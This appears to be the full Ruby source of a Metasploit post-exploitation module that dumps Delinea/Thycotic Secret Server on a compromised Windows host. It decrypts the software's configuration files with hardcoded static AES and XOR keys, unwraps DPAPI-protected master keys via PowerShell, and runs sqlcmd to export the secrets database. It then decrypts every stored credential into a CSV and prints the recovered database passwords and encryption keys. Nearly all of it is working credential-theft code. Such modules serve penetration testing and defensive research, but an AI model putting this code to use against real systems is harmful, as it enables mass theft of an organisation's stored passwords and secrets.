689 lines
26 KiB
Ruby
689 lines
26 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'metasploit/framework/credential_collection'
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::Common
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::MSSQL
|
|
include Msf::Post::Windows::Powershell
|
|
include Msf::Post::Windows::Registry
|
|
|
|
Rank = ManualRanking
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Delinea Thycotic Secret Server Dump',
|
|
'Description' => %q{
|
|
This module exports and decrypts Secret Server credentials to a CSV file;
|
|
it is intended as a post-exploitation module for Windows hosts with Delinea/Thycotic
|
|
Secret Server installed. Master Encryption Key (MEK) and associated IV values are
|
|
decrypted from encryption.config using a static key baked into the software. The
|
|
module also supports parameter recovery for encryption configs configured with
|
|
Windows DPAPI.
|
|
},
|
|
'Author' => 'npm[at]cesium137.io',
|
|
'Platform' => [ 'win' ],
|
|
'DisclosureDate' => '2022-08-15',
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
['URL', 'https://github.com/denandz/SecretServerSecretStealer']
|
|
],
|
|
'Actions' => [
|
|
[
|
|
'Dump',
|
|
{
|
|
'Description' => 'Export Secret Server database and perform decryption'
|
|
}
|
|
],
|
|
[
|
|
'Export',
|
|
{
|
|
'Description' => 'Export Secret Server database without decryption'
|
|
}
|
|
]
|
|
],
|
|
'DefaultAction' => 'Dump',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'Reliability' => [ REPEATABLE_SESSION ],
|
|
'SideEffects' => [ IOC_IN_LOGS ]
|
|
},
|
|
'Privileged' => true
|
|
)
|
|
)
|
|
end
|
|
|
|
def export_header_row_legacy
|
|
'SecretID,Active,SecretType,SecretName,IsEncrypted,IsSalted,Use256Key,SecretFieldName,ItemValue,ItemValue2,IV'
|
|
end
|
|
|
|
def export_header_row_modern
|
|
'SecretID,Active,SecretType,SecretName,IsEncrypted,IsSalted,Use256Key,SecretFieldName,ItemKey,IvMEK,ItemValue,ItemValue2,IV'
|
|
end
|
|
|
|
def result_header_row
|
|
'SecretID,Active,SecretType,SecretName,FieldName,Plaintext,Plaintext2'
|
|
end
|
|
|
|
def run
|
|
fail_with(Msf::Exploit::Failure::NoTarget, 'Could not initialize') unless init_module
|
|
current_action = action.name.downcase
|
|
if current_action == 'export' || current_action == 'dump'
|
|
print_status('Performing export of Secret Server SQL database to CSV file')
|
|
fail_with(Msf::Exploit::Failure::Unknown, 'Could not export Secret Server database records') unless (encrypted_csv_file = export)
|
|
print_good("Encrypted Secret Server Database Dump: #{encrypted_csv_file}")
|
|
end
|
|
if current_action == 'dump'
|
|
print_status('Performing decryption of Secret Server SQL database')
|
|
fail_with(Msf::Exploit::Failure::Unknown, 'Could not decrypt exported Secret Server database records') unless (decrypted_csv_file = decrypt(encrypted_csv_file))
|
|
print_good("Decrypted Secret Server Database Dump: #{decrypted_csv_file}")
|
|
end
|
|
end
|
|
|
|
def export
|
|
unless (csv = dump_thycotic_db)
|
|
print_error('No records exported from SQL server')
|
|
return false
|
|
end
|
|
total_rows = csv.count
|
|
print_good("#{total_rows} rows exported, #{@ss_total_secrets} unique SecretIDs")
|
|
encrypted_data = csv.to_s.delete("\000")
|
|
store_loot('thycotic_secretserver_enc', 'text/csv', rhost, encrypted_data, "#{@ss_db_name}.csv", 'Encrypted Database Dump')
|
|
end
|
|
|
|
def decrypt(csv_file)
|
|
unless (csv = read_csv_file(csv_file))
|
|
print_error('No records imported from CSV dataset')
|
|
return false
|
|
end
|
|
total_rows = csv.count
|
|
print_good("#{total_rows} rows loaded, #{@ss_total_secrets} unique SecretIDs")
|
|
result = decrypt_thycotic_db(csv)
|
|
ss_processed_rows = result[:processed_rows]
|
|
ss_blank_rows = result[:blank_rows]
|
|
ss_decrypted_rows = result[:decrypted_rows]
|
|
ss_plaintext_rows = result[:plaintext_rows]
|
|
ss_failed_rows = result[:failed_rows]
|
|
result_rows = result[:result_csv]
|
|
unless result_rows
|
|
print_error('Failed to decrypt CSV dataset')
|
|
return false
|
|
end
|
|
total_result_rows = result_rows.count - 1 # Do not count header row
|
|
total_result_secrets = result_rows['SecretID'].uniq.count - 1
|
|
if ss_processed_rows == ss_failed_rows || total_result_rows <= 0
|
|
print_error('No rows could be processed')
|
|
return false
|
|
elsif ss_failed_rows > 0
|
|
print_warning("#{ss_processed_rows} rows processed (#{ss_failed_rows} rows failed)")
|
|
else
|
|
print_good("#{ss_processed_rows} rows processed")
|
|
end
|
|
total_records = ss_decrypted_rows + ss_plaintext_rows
|
|
print_status("#{total_records} rows recovered: #{ss_plaintext_rows} plaintext, #{ss_decrypted_rows} decrypted (#{ss_blank_rows} blank)")
|
|
decrypted_data = result_rows.to_s.delete("\000")
|
|
print_status("#{total_result_rows} rows written (#{ss_blank_rows} blank rows withheld)")
|
|
print_good("#{total_result_secrets} unique SecretID records recovered")
|
|
store_loot('thycotic_secretserver_dec', 'text/csv', rhost, decrypted_data, "#{@ss_db_name}.csv", 'Decrypted Database Dump')
|
|
end
|
|
|
|
def dump_thycotic_db
|
|
if @ss_build <= 8.7 # REALLY old-style: ItemKey and MekIV do not exist
|
|
sql_query = 'SET NOCOUNT ON;SELECT s.SecretID,s.Active,CONVERT(VARBINARY(256),t.SecretTypeName) SecretType,
|
|
CONVERT(VARBINARY(256),s.SecretName) SecretName,i.IsEncrypted,i.IsSalted,i.Use256Key,
|
|
CONVERT(VARBINARY(256),f.SecretFieldName) SecretFieldName,i.ItemValue,i.ItemValue2,i.IV
|
|
FROM tbSecretItem AS i JOIN tbSecret AS s ON (s.SecretID=i.SecretID)
|
|
JOIN tbSecretField AS f ON (i.SecretFieldID=f.SecretFieldID) JOIN tbSecretType AS t ON (s.SecretTypeId=t.SecretTypeID)'
|
|
export_header_row = export_header_row_legacy
|
|
else # All other versions seem to support this schema
|
|
sql_query = 'SET NOCOUNT ON;SELECT s.SecretID,s.Active,CONVERT(VARBINARY(256),t.SecretTypeName) SecretType,
|
|
CONVERT(VARBINARY(256),s.SecretName) SecretName,i.IsEncrypted,i.IsSalted,i.Use256Key,
|
|
CONVERT(VARBINARY(256),f.SecretFieldName) SecretFieldName,s.[Key],s.IvMEK,i.ItemValue,i.ItemValue2,i.IV
|
|
FROM tbSecretItem AS i JOIN tbSecret AS s ON (s.SecretID=i.SecretID)
|
|
JOIN tbSecretField AS f ON (i.SecretFieldID=f.SecretFieldID) JOIN tbSecretType AS t ON (s.SecretTypeId=t.SecretTypeID)'
|
|
export_header_row = export_header_row_modern
|
|
end
|
|
sql_cmd = sql_prepare(sql_query)
|
|
print_status('Export Secret Server DB ...')
|
|
query_result = cmd_exec(sql_cmd)
|
|
csv = CSV.parse(query_result.gsub("\r", ''), row_sep: :auto, headers: export_header_row, quote_char: "\x00", skip_blanks: true)
|
|
unless csv
|
|
print_error('Error parsing SQL dataset into CSV format')
|
|
return false
|
|
end
|
|
@ss_total_secrets = csv['SecretID'].uniq.count
|
|
unless @ss_total_secrets >= 1 && !csv['SecretID'].uniq.first.nil?
|
|
print_error('SQL dataset contains no SecretID column values')
|
|
return false
|
|
end
|
|
csv
|
|
end
|
|
|
|
def decrypt_thycotic_db(csv_dataset)
|
|
current_row = 0
|
|
decrypted_rows = 0
|
|
plaintext_rows = 0
|
|
blank_rows = 0
|
|
failed_rows = 0
|
|
result_csv = CSV.parse(result_header_row, headers: :first_row, write_headers: true, return_headers: true)
|
|
print_status('Process Secret Server DB ...')
|
|
csv_dataset.each do |row|
|
|
current_row += 1
|
|
secret_id = row['SecretID']
|
|
if secret_id.nil?
|
|
failed_rows += 1
|
|
print_error("Row #{current_row} missing SecretID column, skipping")
|
|
next
|
|
end
|
|
secret_field = [row['SecretFieldName'][2..]].pack('H*')
|
|
secret_ciphertext_1 = row['ItemValue']
|
|
if secret_ciphertext_1.nil?
|
|
vprint_warning("SecretID #{secret_id} field '#{secret_field}' ItemValue column nil, excluding")
|
|
blank_rows += 1
|
|
next
|
|
end
|
|
secret_ciphertext_2 = row['ItemValue2']
|
|
secret_active = row['Active'].to_i
|
|
secret_name = [row['SecretName'][2..]].pack('H*')
|
|
secret_type = [row['SecretType'][2..]].pack('H*')
|
|
secret_encrypted = row['IsEncrypted'].to_i
|
|
secret_use256 = row['Use256Key'].to_i
|
|
secret_iv_hex = row['IV'][2..]
|
|
if @ss_build >= 10.4 || secret_iv_hex == 'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF' # New-style: ItemKey and ItemIV are part of the key blob
|
|
secret_keyfield_hex = row['ItemKey'][2..]
|
|
miv_hex = secret_keyfield_hex[4..35]
|
|
key_hex = secret_keyfield_hex[100..]
|
|
iv_hex = secret_ciphertext_1[4..35]
|
|
value_1_hex = secret_ciphertext_1[100..]
|
|
elsif @ss_build <= 8.7 # REALLY old-style: ItemKey and MekIV do not exist
|
|
key_hex = ['FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'].pack('H*')
|
|
miv_hex = ['FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'].pack('H*')
|
|
iv_hex = secret_iv_hex
|
|
value_1_hex = secret_ciphertext_1
|
|
else # Old-style: ItemKey and ItemIV are stored as columns
|
|
key_hex = row['ItemKey'][2..]
|
|
miv_hex = row['IvMEK'][2..]
|
|
iv_hex = secret_iv_hex
|
|
value_1_hex = secret_ciphertext_1
|
|
end
|
|
value_1 = [value_1_hex].pack('H*')
|
|
key = [key_hex].pack('H*')
|
|
iv = [iv_hex].pack('H*')
|
|
miv = [miv_hex].pack('H*')
|
|
if secret_encrypted == 1
|
|
secret_plaintext_1 = thycotic_secret_decrypt(secret_id: secret_id, secret_field: secret_field, secret_value: value_1, secret_key: key, secret_iv: iv, secret_miv: miv, secret_use256: secret_use256)
|
|
if secret_plaintext_1.nil?
|
|
vprint_warning("SecretID #{secret_id} field '#{secret_field}' decrypted ItemValue nil, excluding")
|
|
blank_rows += 1
|
|
next
|
|
end
|
|
# TODO: Figure out how ItemValue2 is encrypted; it does not match the structure of ItemValue.
|
|
# For now just return ciphertext if it exists.
|
|
secret_plaintext_2 = secret_ciphertext_2
|
|
if !secret_plaintext_1 || !secret_plaintext_2
|
|
print_error("SecretID #{secret_id} field '#{secret_field}' failed to decrypt")
|
|
vprint_error(row.to_s)
|
|
failed_rows += 1
|
|
next
|
|
end
|
|
secret_disposition = 'decrypted'
|
|
decrypted_rows += 1
|
|
else
|
|
secret_plaintext_1 = secret_ciphertext_1
|
|
secret_plaintext_2 = secret_ciphertext_2
|
|
secret_disposition = 'plaintext'
|
|
plaintext_rows += 1
|
|
end
|
|
if !secret_plaintext_1.empty? && !secret_plaintext_2.empty?
|
|
result_line = [secret_id.to_s, secret_active.to_s, secret_type.to_s, secret_name.to_s, secret_field.to_s, secret_plaintext_1.to_s, secret_plaintext_2.to_s]
|
|
result_row = CSV.parse_line(CSV.generate_line(result_line).gsub("\r", ''))
|
|
result_csv << result_row
|
|
vprint_status("SecretID #{secret_id} field '#{secret_field}' ItemValue recovered: #{secret_disposition}")
|
|
else
|
|
vprint_warning("SecretID #{secret_id} field '#{secret_field}' recovered ItemValue empty, excluding")
|
|
blank_rows += 1
|
|
end
|
|
end
|
|
{
|
|
processed_rows: current_row,
|
|
blank_rows: blank_rows,
|
|
decrypted_rows: decrypted_rows,
|
|
plaintext_rows: plaintext_rows,
|
|
failed_rows: failed_rows,
|
|
result_csv: result_csv
|
|
}
|
|
end
|
|
|
|
def init_module
|
|
@ss_hostname = get_env('COMPUTERNAME')
|
|
print_status("Hostname #{@ss_hostname} IPv4 #{rhost}")
|
|
get_sql_client
|
|
unless @sql_client == 'sqlcmd'
|
|
print_error('Unable to identify sqlcmd SQL client on target host')
|
|
return false
|
|
end
|
|
vprint_good("Found SQL client: #{@sql_client}")
|
|
unless (ss_web_path = get_secretserver_web_path)
|
|
print_error('Could not determine Secret Server IIS web root filesystem path')
|
|
return false
|
|
end
|
|
unless init_thycotic_db(ss_web_path)
|
|
print_error('Could not initialize Secret Server database')
|
|
return false
|
|
end
|
|
get_secretserver_version
|
|
unless @ss_build
|
|
print_error('Could not determine Secret Server build')
|
|
return false
|
|
end
|
|
unless init_thycotic_encryption(ss_web_path)
|
|
print_error('Could not initialize Secret Server encryption parameters')
|
|
return false
|
|
end
|
|
true
|
|
end
|
|
|
|
def read_csv_file(file_name)
|
|
unless File.exist?(file_name)
|
|
print_error("CSV file #{file_name} not found")
|
|
return false
|
|
end
|
|
csv_rows = File.binread(file_name)
|
|
csv = CSV.parse(csv_rows.gsub("\r", ''), row_sep: :auto, headers: :first_row, quote_char: "\x00", skip_blanks: true)
|
|
unless csv
|
|
print_error("Error importing CSV file #{csv_file}")
|
|
return false
|
|
end
|
|
@ss_total_secrets = csv['SecretID'].uniq.count
|
|
unless @ss_total_secrets >= 1 && !csv['SecretID'].uniq.first.nil?
|
|
print_error("Provided CSV file #{csv_file} contains no SecretID column values")
|
|
return false
|
|
end
|
|
csv
|
|
end
|
|
|
|
def get_secretserver_web_path
|
|
reg_key = 'HKLM\\SOFTWARE\\Thycotic\\Secret Server\\'
|
|
unless registry_key_exist?(reg_key)
|
|
print_error("Registry key #{reg_key} not found")
|
|
return false
|
|
end
|
|
ss_web_path = registry_getvaldata(reg_key, 'WebDir')
|
|
unless ss_web_path
|
|
print_error("Could not find WebDir registry entry under #{reg_key}")
|
|
return false
|
|
end
|
|
vprint_status('Secret Server Web Root:')
|
|
vprint_status("\t#{ss_web_path}")
|
|
ss_web_path
|
|
end
|
|
|
|
def get_secretserver_version
|
|
sql_query = "SET NOCOUNT ON; SELECT TOP 1
|
|
CONVERT(INT,REVERSE(PARSENAME(REPLACE(REVERSE(VersionNumber), ',', '.'), 1))) AS [Major],
|
|
CONVERT(INT,REVERSE(PARSENAME(REPLACE(REVERSE(VersionNumber), ',', '.'), 2))) AS [Minor],
|
|
CONVERT(INT,REVERSE(PARSENAME(REPLACE(REVERSE(VersionNumber), ',', '.'), 3))) AS [Rev]
|
|
FROM tbVersion ORDER BY [Major] DESC, [Minor] DESC, [Rev] DESC"
|
|
sql_cmd = sql_prepare(sql_query)
|
|
version_query_result = cmd_exec(sql_cmd).gsub("\r", '')
|
|
csv = CSV.parse(version_query_result.gsub("\r", ''), row_sep: :auto, headers: 'Major,Minor,Rev', quote_char: "\x00", skip_blanks: true)
|
|
unless csv
|
|
print_error('Error parsing SQL dataset into CSV format')
|
|
return false
|
|
end
|
|
ss_build_major = csv['Major'].first.to_i
|
|
ss_build_minor = csv['Minor'].first.to_i
|
|
ss_build_rev = csv['Rev'].first.to_i
|
|
@ss_build = "#{ss_build_major}.#{ss_build_minor}#{ss_build_rev}".to_f
|
|
unless @ss_build > 0
|
|
print_error('Error determining Secret Server version from SQL query')
|
|
return false
|
|
end
|
|
print_status("Secret Server Build #{@ss_build}")
|
|
print_warning('This module has not been tested against Secret Server versions below 8.4 and may not work') if @ss_build < 8.4
|
|
true
|
|
end
|
|
|
|
def sql_prepare(sql_query)
|
|
if @ss_db_integrated_auth
|
|
sql_cmd = "#{@sql_client} -d \"#{@ss_db_name}\" -S #{@ss_db_instance_path} -E -Q \"#{sql_query}\" -h-1 -s\",\" -w 65535 -W -I"
|
|
else
|
|
sql_cmd = "#{@sql_client} -d \"#{@ss_db_name}\" -S #{@ss_db_instance_path} -U \"#{@ss_db_user}\" -P \"#{@ss_db_pass}\" -Q \"#{sql_query}\" -h-1 -s\",\" -w 65535 -W -I"
|
|
end
|
|
sql_cmd
|
|
end
|
|
|
|
def read_config_file(ss_config_file)
|
|
unless file_exist?(ss_config_file)
|
|
print_error("Configuration file '#{ss_config_file}' not found")
|
|
return false
|
|
end
|
|
read_file(ss_config_file)
|
|
end
|
|
|
|
def init_thycotic_encryption(ss_web_path)
|
|
print_status('Decrypt encryption.config ...')
|
|
ss_enc_config_file = ss_web_path + 'encryption.config'
|
|
vprint_status('Encryption configuration file path:')
|
|
vprint_status("\t#{ss_enc_config_file}")
|
|
ss_enc_conf_bytes = read_config_file(ss_enc_config_file)
|
|
if @ss_build >= 10.4
|
|
vprint_status('Using Modern (AES-256 + XOR) file decryption routine')
|
|
enc_conf = thycotic_encryption_config_decrypt_modern(ss_enc_conf_bytes)
|
|
else
|
|
vprint_status('Using Legacy (AES-128) file decryption routine')
|
|
enc_conf = thycotic_encryption_config_decrypt_legacy(ss_enc_conf_bytes)
|
|
end
|
|
unless enc_conf
|
|
print_error('Failed to decrypt encryption.config')
|
|
return false
|
|
end
|
|
ss_key_hex = enc_conf['KEY']
|
|
ss_key256_hex = enc_conf['KEY256']
|
|
ss_iv_hex = enc_conf['IV']
|
|
if enc_conf['ISENCRYPTEDWITHDPAPI'].to_s.upcase == 'TRUE'
|
|
print_status('DPAPI encryption has been configured for the Master Encryption Key, attempting LocalMachine decryption ...')
|
|
ss_key_hex = dpapi_decrypt(ss_key_hex)
|
|
ss_key256_hex = dpapi_decrypt(ss_key256_hex)
|
|
end
|
|
if ss_key_hex.nil? || ss_key256_hex.nil? || ss_iv_hex.nil?
|
|
print_error("Failed to recover Master Encryption Key values from #{ss_enc_config_file}")
|
|
return false
|
|
end
|
|
@ss_iv = [ss_iv_hex].pack('H*')
|
|
@ss_key = [ss_key_hex].pack('H*')
|
|
@ss_key256 = [ss_key256_hex].pack('H*')
|
|
extra_service_data = {
|
|
address: Rex::Socket.getaddress(rhost),
|
|
port: 443,
|
|
service_name: 'aes',
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id,
|
|
module_fullname: fullname,
|
|
origin_type: :service,
|
|
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
|
|
realm_value: @ss_hostname
|
|
}
|
|
store_valid_credential(user: 'KEY', private: ss_key_hex, service_data: extra_service_data)
|
|
store_valid_credential(user: 'KEY256', private: ss_key256_hex, service_data: extra_service_data)
|
|
store_valid_credential(user: 'IV', private: ss_iv_hex, service_data: extra_service_data)
|
|
print_good('Secret Server Encryption Configuration:')
|
|
print_good("\t KEY: #{ss_key_hex}")
|
|
print_good("\tKEY256: #{ss_key256_hex}")
|
|
print_good("\t IV: #{ss_iv_hex}")
|
|
true
|
|
end
|
|
|
|
def thycotic_encryption_config_decrypt_modern(enc_conf_bytes)
|
|
res = {}
|
|
# Burned-in static keys and IV
|
|
aes_key = ['83fb558645767abb199755eafb4fbc5167113da8ee69f13267388dc3adcdb088'].pack('H*')
|
|
aes_iv = ['ad478c63f93d5201e0a1bbfff0072b6b'].pack('H*')
|
|
xor_key = '8200ab18b1a1965f1759c891e87bc32f208843331d83195c21ee03148b531a0e'.scan(/../).map(&:hex)
|
|
ciphertext_bytes = enc_conf_bytes[41..]
|
|
return false unless (plaintext_conf = aes_cbc_decrypt(ciphertext_bytes, aes_key, aes_iv))
|
|
|
|
xor_1 = plaintext_conf[1..4].unpack('l*').first
|
|
xor_2 = plaintext_conf[5..8].unpack('l*').first
|
|
num_keys = xor_1 ^ xor_2
|
|
working_offset = 9
|
|
i = 1
|
|
until i > num_keys
|
|
k = nil
|
|
v = nil
|
|
for is_key in [true, false] do
|
|
idx_xor = plaintext_conf[working_offset..working_offset + 3].unpack('l*').first
|
|
idx_len = plaintext_conf[working_offset + 4..working_offset + 7].unpack('l*').first
|
|
len = idx_len ^ idx_xor
|
|
key_xor = plaintext_conf[working_offset + 8..working_offset + 7 + len].unpack('C*')
|
|
plaintext = xor_decrypt(key_xor, xor_key).pack('C*')
|
|
working_offset += len + 8
|
|
if is_key
|
|
k = plaintext.delete("\000")
|
|
else
|
|
v = plaintext.delete("\000")
|
|
end
|
|
end
|
|
if !k
|
|
next
|
|
else
|
|
res[k.upcase] = v
|
|
end
|
|
|
|
i += 1
|
|
end
|
|
res
|
|
rescue StandardError => e
|
|
vprint_error("Exception in #{__method__}: #{e.message}")
|
|
return false
|
|
end
|
|
|
|
def thycotic_encryption_config_decrypt_legacy(enc_conf_bytes)
|
|
res = {}
|
|
# Burned-in static keys and IV
|
|
aes_key_legacy = ['020216980119760c0b79017097830b1d'].pack('H*')
|
|
aes_iv_legacy = ['7a790a22020b6eb3630cdd080310d40a'].pack('H*')
|
|
return false unless (plaintext_conf = aes_cbc_decrypt(enc_conf_bytes, aes_key_legacy, aes_iv_legacy).delete("\000"))
|
|
|
|
plaintext_conf_hex = plaintext_conf.unpack('H*').first
|
|
unless plaintext_conf_hex.match?(/4b65790556616c7565/i) # magic bytes
|
|
print_error('Could not locate encryption.config key/value header in binary stream')
|
|
return false
|
|
end
|
|
working_offset = (plaintext_conf_hex.index(/4b65790556616c7565/i) / 2) + 14
|
|
loop do
|
|
k = nil
|
|
v = nil
|
|
for is_key in [true, false] do
|
|
data_len = plaintext_conf[working_offset..working_offset + 1].unpack('C*').first
|
|
data_val = plaintext_conf[working_offset + 1, data_len]
|
|
if is_key
|
|
k = data_val
|
|
working_offset += data_len + 3
|
|
else
|
|
v = data_val
|
|
working_offset += data_len + 6
|
|
end
|
|
end
|
|
if !k
|
|
next
|
|
else
|
|
res[k.upcase] = v
|
|
end
|
|
break if working_offset >= plaintext_conf.length
|
|
end
|
|
res
|
|
rescue StandardError => e
|
|
vprint_error("Exception in #{__method__}: #{e.message}")
|
|
return false
|
|
end
|
|
|
|
def init_thycotic_db(ss_web_path)
|
|
print_status('Decrypt database.config ...')
|
|
ss_db_config_file = ss_web_path + 'database.config'
|
|
vprint_status('Database configuration file path:')
|
|
vprint_status("\t#{ss_db_config_file}")
|
|
unless (db_conf = get_thycotic_database_config(read_config_file(ss_db_config_file)))
|
|
print_error("Error reading database configuration file #{ss_db_config_file}")
|
|
return false
|
|
end
|
|
db_instance_path = db_conf['DATA SOURCE']
|
|
db_name = db_conf['INITIAL CATALOG']
|
|
db_user = db_conf['USER ID']
|
|
db_pass = db_conf['PASSWORD']
|
|
db_auth = db_conf['INTEGRATED SECURITY']
|
|
if db_instance_path.nil? || db_name.nil?
|
|
print_error("Failed to recover database parameters from #{ss_db_config_file}")
|
|
return false
|
|
end
|
|
@ss_db_instance_path = db_instance_path
|
|
@ss_db_name = db_name
|
|
@ss_db_integrated_auth = false
|
|
print_good('Secret Server SQL Database Connection Configuration:')
|
|
print_good("\tInstance Name: #{@ss_db_instance_path}")
|
|
print_good("\tDatabase Name: #{@ss_db_name}")
|
|
if !db_auth.nil?
|
|
if db_auth.downcase == 'true'
|
|
@ss_db_integrated_auth = true
|
|
print_good("\tDatabase User: (Windows Integrated)")
|
|
print_warning('The database uses Windows authentication')
|
|
print_warning('Session identity must have access to the SQL server instance to proceed')
|
|
end
|
|
elsif !db_user.nil? && !db_pass.nil?
|
|
@ss_db_user = db_user
|
|
@ss_db_pass = db_pass
|
|
extra_service_data = {
|
|
address: Rex::Socket.getaddress(rhost),
|
|
port: 1433,
|
|
service_name: 'mssql',
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id,
|
|
module_fullname: fullname,
|
|
origin_type: :service,
|
|
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
|
|
realm_value: @ss_db_instance_path
|
|
}
|
|
store_valid_credential(user: @ss_db_user, private: @ss_db_pass, service_data: extra_service_data)
|
|
print_good("\tDatabase User: #{@ss_db_user}")
|
|
print_good("\tDatabase Pass: #{@ss_db_pass}")
|
|
else
|
|
print_error("Could not extract SQL login information from #{ss_db_config_file}")
|
|
return false
|
|
end
|
|
end
|
|
|
|
def get_thycotic_database_config(db_conf_bytes)
|
|
res = {}
|
|
# Burned-in static keys and IV
|
|
aes_key = ['020216980119760c0b79017097830b1d'].pack('H*')
|
|
aes_iv = ['7a790a22020b6eb3630cdd080310d40a'].pack('H*')
|
|
unless (plaintext_conf = aes_cbc_decrypt(db_conf_bytes, aes_key, aes_iv).delete("\000"))
|
|
print_error('Error decrypting database.config')
|
|
return false
|
|
end
|
|
unless (db_str = get_thycotic_database_string(plaintext_conf))
|
|
print_error('Could not extract connectionString from database.config')
|
|
return false
|
|
end
|
|
db_connection_elements = db_str.split(';')
|
|
db_connection_elements.each do |element|
|
|
pair = element.to_s.split('=')
|
|
k = pair[0]
|
|
v = pair[1]
|
|
res[k.upcase] = v
|
|
end
|
|
res
|
|
rescue StandardError => e
|
|
vprint_error("Exception in #{__method__}: #{e.message}")
|
|
return false
|
|
end
|
|
|
|
def get_thycotic_database_string(plaintext_conf)
|
|
return false unless plaintext_conf.match?(/connectionString/i)
|
|
|
|
working_offset = plaintext_conf.index(/connectionString/i) + 18
|
|
byte_len = plaintext_conf.length - working_offset
|
|
working_bytes = plaintext_conf[working_offset, byte_len]
|
|
val_len = working_bytes[0].unpack('H*').first.to_i(16).to_i
|
|
working_bytes[2, val_len]
|
|
end
|
|
|
|
def thycotic_secret_decrypt(options = {})
|
|
secret_id = options.fetch(:secret_id)
|
|
secret_field = options.fetch(:secret_field)
|
|
secret_value = options.fetch(:secret_value)
|
|
secret_key = options.fetch(:secret_key)
|
|
secret_iv = options.fetch(:secret_iv)
|
|
secret_miv = options.fetch(:secret_miv)
|
|
secret_use256 = options.fetch(:secret_use256)
|
|
if secret_use256 == 1
|
|
mek = @ss_key256
|
|
else
|
|
mek = @ss_key
|
|
end
|
|
intermediate_key = false
|
|
if @ss_build > 8.7
|
|
intermediate_key = aes_cbc_decrypt(secret_key, mek, secret_miv)
|
|
intermediate_key ||= secret_key
|
|
else
|
|
intermediate_key = mek
|
|
end
|
|
decrypted_secret = aes_cbc_decrypt(secret_value, intermediate_key, secret_iv)
|
|
unless decrypted_secret
|
|
vprint_warning("SecretID #{secret_id} field '#{secret_field}' decryption failed, attempting pure MEK decryption as last resort")
|
|
decrypted_secret = aes_cbc_decrypt(secret_value, mek, @ss_iv)
|
|
end
|
|
return false unless decrypted_secret
|
|
|
|
if @ss_build >= 10.4
|
|
plaintext = decrypted_secret.delete("\000")[4..]
|
|
else
|
|
plaintext = decrypted_secret.delete("\000")
|
|
end
|
|
if !plaintext.to_s.empty?
|
|
# Catch where decryption did not throw an exception but produced invalid UTF-8 plaintext
|
|
# This was evident in a few test cases where the secret value appeared to have been pasted from Microsoft Word
|
|
if !plaintext.force_encoding('UTF-8').valid_encoding?
|
|
plaintext = Base64.strict_encode64(plaintext)
|
|
print_warning("SecretID #{secret_id} field '#{secret_field}' contains invalid UTF-8 and will be stored as a Base64 string in the output file")
|
|
end
|
|
return plaintext
|
|
else
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def xor_decrypt(ciphertext_bytes, xor_key)
|
|
pos = 0
|
|
res = []
|
|
for i in 0..ciphertext_bytes.length - 1 do
|
|
res[i] = ciphertext_bytes[i] ^ xor_key[pos]
|
|
pos += 1
|
|
if pos == xor_key.length
|
|
pos = 0
|
|
end
|
|
end
|
|
res
|
|
end
|
|
|
|
def aes_cbc_decrypt(ciphertext_bytes, aes_key, aes_iv)
|
|
return false unless aes_iv.length == 16
|
|
|
|
case aes_key.length
|
|
when 16
|
|
decipher = OpenSSL::Cipher.new('aes-128-cbc')
|
|
when 32
|
|
decipher = OpenSSL::Cipher.new('aes-256-cbc')
|
|
else
|
|
return false
|
|
end
|
|
decipher.decrypt
|
|
decipher.key = aes_key
|
|
decipher.iv = aes_iv
|
|
decipher.padding = 1
|
|
decipher.update(ciphertext_bytes) + decipher.final
|
|
rescue OpenSSL::Cipher::CipherError
|
|
return false
|
|
end
|
|
|
|
def dpapi_decrypt(b64)
|
|
unless b64.match?(%r{^[-A-Za-z0-9+/]*={0,3}$})
|
|
print_error('DPAPI decrypt: invalid Base64 ciphertext')
|
|
return nil
|
|
end
|
|
cmd_str = "Add-Type -AssemblyName System.Security;[Text.Encoding]::ASCII.GetString([Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('#{b64}'), $Null, 'LocalMachine'))"
|
|
plaintext = psh_exec(cmd_str)
|
|
unless plaintext.match?(/^[0-9a-f]+$/i)
|
|
print_error('Failed DPAPI LocalMachine decryption')
|
|
return nil
|
|
end
|
|
plaintext
|
|
end
|
|
end
|